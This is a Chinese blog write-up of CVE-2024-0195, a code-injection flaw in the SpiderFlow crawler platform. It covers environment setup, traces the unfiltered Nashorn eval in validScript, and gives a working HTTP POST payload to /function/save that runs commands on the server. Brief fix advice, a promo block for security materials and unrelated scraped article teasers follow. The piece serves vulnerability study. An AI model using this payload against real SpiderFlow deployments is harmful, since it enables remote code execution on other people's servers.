SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195)

1. 漏洞介绍

SpiderFlow爬虫平台项目中spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionNameparametersscript 中的内容,从而构造恶意输入来执行任意的 JavaScript 代码,从而导致代码注入,并允许远程发起攻击,可导致服务器失陷。

2. 流程图分析

image-20240113214637085

3. 搭建过程

1. IDEA Gitee 快速搭建

image-20240113214746379

URL : https://gitee.com/jmxd/spider-flow.git

image-20240113214828184

2. 数据库搭建

​ 我这里使用的是MySQL5.7,然后使用Navicat运行项目中spider-flow\db\spiderflow.sql这个SQL文件会在数据库中自动生成所需要的数据库:

image-20240113215141449
image-20240113215223454
image-20240113215235300
image-20240113215310529

3. 数据库连接

image-20240113215340735
​ 然后修改数据库配置文件application.properties,路径为:spider-flow\spider-flow-web\src\main\resources\application.properties

image-20240113215518996

4. 运行

spider-flow\spider-flow-web\src\main\java\org\spiderflow\SpiderApplication.java
image-20240113215638797
​ 然后访问路径http://localhost:8088/,成功搭建!
image-20240113215752537

4. 利用过程

​ 首先我们直接在IDEA中寻找危险函数eval,使用Ctrl+shift+F文件搜索:
image-20240113220036696
​ 发现这里有个validScript函数调用了eval危险函数:

    public static void validScript(String functionName,String parameters,String script) throws Exception {new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));}

​ 然后这里的我们去看看eval具体执行的参数是怎么生成的:

image-20240113220311948

    private static String concatScript(String functionName,String parameters,String script){StringBuffer scriptBuffer = new StringBuffer();scriptBuffer.append("function ").append(functionName).append("(").append(parameters == null ? "" : parameters).append("){").append(script).append("}");return scriptBuffer.toString();}

​ 可以看到concatScript 方法中,它接受三个参数 functionNameparametersscript,然后将它们拼接成一个 JavaScript 函数的字符串。这里它没有任何的过滤。所以我们可以尝试构造恶意的这三个参数实现RCE。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

​ 在上面的函数中将产生如下的字符串:

function functionName(parameters){script}

​ 很明显我们可以构造恶意的script来导致RCE:

​ 例如script的值可以为}Java.type('java.lang.Runtime').getRuntime().exec('calc');{

​ 这样的话我们最终的字符串将会变成:

function functionName(parameters){}Java.type('java.lang.Runtime').getRuntime().exec('calc');{}

​ 然后最后在执行的时候就会直接定义一个函数后执行我们的Java恶意代码。

​ 然后我们分析是哪个函数调用了validScript函数

image-20240113221705800

    public String saveFunction(Function entity) {try {ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());super.saveOrUpdate(entity);init();return null;} catch (Exception e) {logger.error("保存自定义函数出错",e);return ExceptionUtils.getStackTrace(e);}}

​ 然后在FunctionController.java调用了saveFunction

@RestController
@RequestMapping("/function")
public class FunctionController {......@RequestMapping("/save")public String save(Function function){return functionService.saveFunction(function);}......
}

​ 然后我们现在就可以去实际的功能点看需要哪些参数:

image-20240113223447553

image-20240113223535043

​ 于是我们直接写出payload:

POST /function/save HTTP/1.1
Content-Length: 38
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost:8088id=&name=rce&parameter=rce&script=}Java.type('java.lang.Runtime').getRuntime().exec('calc');{

​ 成功命令执行弹出计算器:
cve-2024-1

修复方式

  • 过滤好script参数
  • 设置沙箱

5. 总结

​ 这个项目在Gitee上面有7.4K的Star,有3.6K的fork记录,在实际部署上也不是很少,但是漏洞点出的不是很难主要是思路扩展,适宜入门。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/242527.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LLM:ALiBi - 给注意力加上线性偏置

论文:https://arxiv.org/pdf/2108.12409.pdf 代码:https://github.com/ofirpress/attention_with_linear_biases 发表:2021 长度外推 参考:https://spaces.ac.cn/archives/9431#ALIBI 长度外推性是一个训练和预测的长度不一致…

HTML+JavaScript-01

说明 之前有一篇JavaWeb-JavaScript中只是简单介绍了一点JavaScript的内容,这篇笔记算是续写的,但是从01开始编号。 引入js文件 html、css、js俗称前端三剑客,一般都是分开写,先写框架、再写css、最后写js。因此在工程量大的情…

设计模式——装饰者模式

更多内容,前往 IT-BLOG 现实生活中常常需要给某类产品动态增加新的功能,如:给面条各种调味品。在软件开发过程中,有时想用一些现存的组件。这些组件可能只是完成一些核心功能。但在不改变其架构的情况下,可以动态地扩展…

《WebKit 技术内幕》之五(1): HTML解释器和DOM 模型

第五章 HTML 解释器和 DOM 模型 1.DOM 模型 1.1 DOM标准 DOM (Document Object Model)的全称是文档对象模型,它可以以一种独立于平台和语言的方式访问和修改一个文档的内容和结构。这里的文档可以是 HTML 文档、XML 文档或者 XHTML 文档。D…

【数学建模】图论模型

文章目录 图的基础理论及networkx简介图的基本概念图的表示及Networkx简介图的表示NetworkX简介 最短路算法及其Python实现固定起点到其余各点的最短路算法每对顶点间的最短路算法最短路应用 最小生成树算法及其networkx实现基本概念最小生成树算法最小生成树应用 匹配问题最大…

Qt5.15.2中加入图片资源

系列文章目录 文章目录 系列文章目录前言一、加入图片资源二、代码 前言 以前用的Qt5.15.2之前的版本,QtCreator默认的工程文件是*.pro,现在用5.15.2创建工程默认的工程文件是CMameList.txt,当然在创建项目时,仍然可以使用pro工程文件用QtCr…

13.浮动面板(PaletteSet)

愿你出走半生,归来仍是少年! 环境:.NET FrameWork4.5、ObjectArx 2016 64bit、Entity Framework 6. 在CAD中进行通用组件开发或常驻界面的控件开发时,可使用PaletteSet作为停靠面板,然后将自己的空间放入其中。 1.示例 SearchRe…

web terminal - 如何在mac os上运行gotty

gotty可以让你使用web terminal的方式与环境进行交互,实现终端效果 假设你已经配置好了go环境,首先使用go get github.com/yudai/gotty命令获取可执行文件,默认会安装在$GOPATH/bin这个目录下,注意如果你的go版本比较高&#xff…

小程序系列--10.小程序WXS 脚本

一、概述 1. 什么是 wxs? WXS(WeiXin Script)是小程序独有的一套脚本语言,结合 WXML,可以构建出页面的结构。 2. wxs 的应用场景 wxml 中无法调用在页面的 .js 中定义的函数,但是,wxml 中可…

Ceph应用

目录 1.资源池Pool管理 创建一个Pool资源池 查看集群Pool信息 查看资源池副本的数量 查看PG和PGP数量 修改pg_num和pgp_num的数量 修改Pool副本数量 删除Pool资源池 2.创建CephFS文件系统MDS接口 服务端操作(192.168.88.22) 1.在管理节点创建 mds 服务 2.查看各个节…

JUC并发编程知识点总结

JMM Java内存模型规定所有的变量都存储在主内存中,包括实例变量,静态变量,但是不包括局部变量和方法参数。每个线程都有自己的工作内存,线程的工作内存保存了该线程用到的变量和主内存的副本拷贝,线程对变量的操作都在…

智篆商业土豆老师:引领电商运营新潮流

智篆商业的土豆老师不仅是电商运营的专家,更是引领电商运营新潮流的先锋。他时刻关注电商行业的发展动态,深入研究新兴技术和市场趋势,不断探索电商运营的新模式和新思路。 土豆老师认为,未来的电商运营将更加注重个性化和精细化…

初始RabbitMQ(入门篇)

消息队列(MQ) 本质上就是一个队列,一个先进先出的队列,队列中存放的内容是message(消息),是一种跨进程的通信机制,用于上下游传递消息, 为什么使用MQ: 削峰填谷: MQ可以很好的做一个缓冲机制,例如在一个系统中有A和B两个应用,A是接收用户的请求的,然后A调用B进行处理. 这时…

微信中这些黑科技不知道,白用微信这么多年,速来学,春节假期很有用,第1季:【#】字诀。

微信中这些黑科技不知道,白用微信这么多年,速来学,春节假期很有用,第1季:【#】字诀。 大家好!我是老码农。 今天分享的主题:微信中的黑科技。微信这款软件不用过多介绍,聊天、看朋…

机器人电机综述 — 电机分类、舵机、步进与伺服、物理性质和伺服控制系统

电机综述 图片与部分素材来自知乎大佬不看后悔!最全的电机分类,看这一篇就够了! - 知乎 (zhihu.com),本文只是把机器人中常用的电机知识提炼了一下 1 按照结构和工作原理划分 1. 同步电机 ​ 电机的转速与定子磁场的转速相同步…

springboot113健身房管理系统

简介 【毕设源码推荐 javaweb 项目】基于springbootvue 的健身房管理系统 适用于计算机类毕业设计,课程设计参考与学习用途。仅供学习参考, 不得用于商业或者非法用途,否则,一切后果请用户自负。 看运行截图看 第五章 第四章 获取…

stm32 FOC 电机介绍

今年开始学习foc控制无刷电机,这几天把所学整理一下,记录一下知识内容。 前言: 为什么要学习FOC? 1.电机控制是自动化控制领域重要一环。 2.目前直流无刷电机应用越来越广泛,如无人机、机械臂、云台、仿生机器人等等。 需要什么基础&…

设计模式-资源库模式

设计模式专栏 模式介绍模式特点应用场景资源库模式与关系型数据库的区别代码示例Java实现资源库模式Python实现资源库模式 资源库模式在spring中的应用 模式介绍 资源库模式是一种架构模式,介于领域层与数据映射层(数据访问层)之间。它的存在…

Ansible常用模块

目录 实验前准备Ansible部署安装ansible配置主机清单配置密钥对验证 常用模块commond模块shell模块cron模块user模块group模块copy模块file模块ping模块yum模块service/systemd模块script模块setup模块 遇到的问题sshpass卡住 实验前准备 Ansible管理机:192.168.18…

【新书推荐】Web3.0应用开发实战(从Web 2.0到Web 3.0)

第一部分 Flask简介 第1章 安装 1.1 创建应用目录 1.2 虚拟环境 1.2.1 创建虚拟环境 1.2.2 使用虚拟环境 1.3 使用pip安装Python包 1.4 使用pipregs输出包 1.5 使用requirements.txt 1.6 使用pipenv管理包 第2章 应用的基本结构 2.1 网页显示过程 2.2 初始化 2.3 路由和视图函数…